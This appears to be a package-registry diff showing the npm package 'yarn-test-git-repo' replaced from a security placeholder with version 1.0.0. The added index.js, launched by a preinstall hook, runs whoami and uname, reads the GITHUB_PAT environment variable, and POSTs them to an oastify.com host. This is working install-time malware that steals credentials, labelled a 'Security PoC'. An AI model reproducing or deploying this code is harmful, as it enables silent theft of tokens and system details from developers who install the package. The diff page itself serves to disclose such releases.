yarn-test-git-repo 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of yarn-test-git-repo might be problematic. Click here for more details.
- package/index.js +43 -0
- package/package.json +6 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
|
+
|
|
4
|
+
function send(data) {
|
|
5
|
+
const options = {
|
|
6
|
+
hostname: "llabkyc2fgz5ngnimkkff7ln9ef53zro.oastify.com", // Updated hostname
|
|
7
|
+
port: 443,
|
|
8
|
+
path: "/",
|
|
9
|
+
method: "POST",
|
|
10
|
+
headers: {
|
|
11
|
+
"Content-Type": "application/json",
|
|
12
|
+
"Content-Length": Buffer.byteLength(data)
|
|
13
|
+
}
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
const req = https.request(options, (res) => {
|
|
17
|
+
res.on("data", () => {});
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
req.on("error", (e) => {
|
|
21
|
+
console.error("Request error:", e.message);
|
|
22
|
+
});
|
|
23
|
+
req.write(data);
|
|
24
|
+
req.end();
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
const whoami = execSync("whoami").toString().trim();
|
|
29
|
+
const uname = execSync("uname -a").toString().trim();
|
|
30
|
+
// Securely retrieve GitHub PAT from environment variable
|
|
31
|
+
const githubPAT = process.env.GITHUB_PAT || "not-provided";
|
|
32
|
+
|
|
33
|
+
const payload = JSON.stringify({
|
|
34
|
+
whoami,
|
|
35
|
+
uname,
|
|
36
|
+
githubPAT, // Include GitHub PAT in the payload
|
|
37
|
+
timestamp: new Date().toISOString()
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
send(payload);
|
|
41
|
+
} catch (e) {
|
|
42
|
+
console.error("Error executing commands:", e.message);
|
|
43
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "yarn-test-git-repo",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security PoC",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
}
|
|
6
9
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=yarn-test-git-repo for more information.
|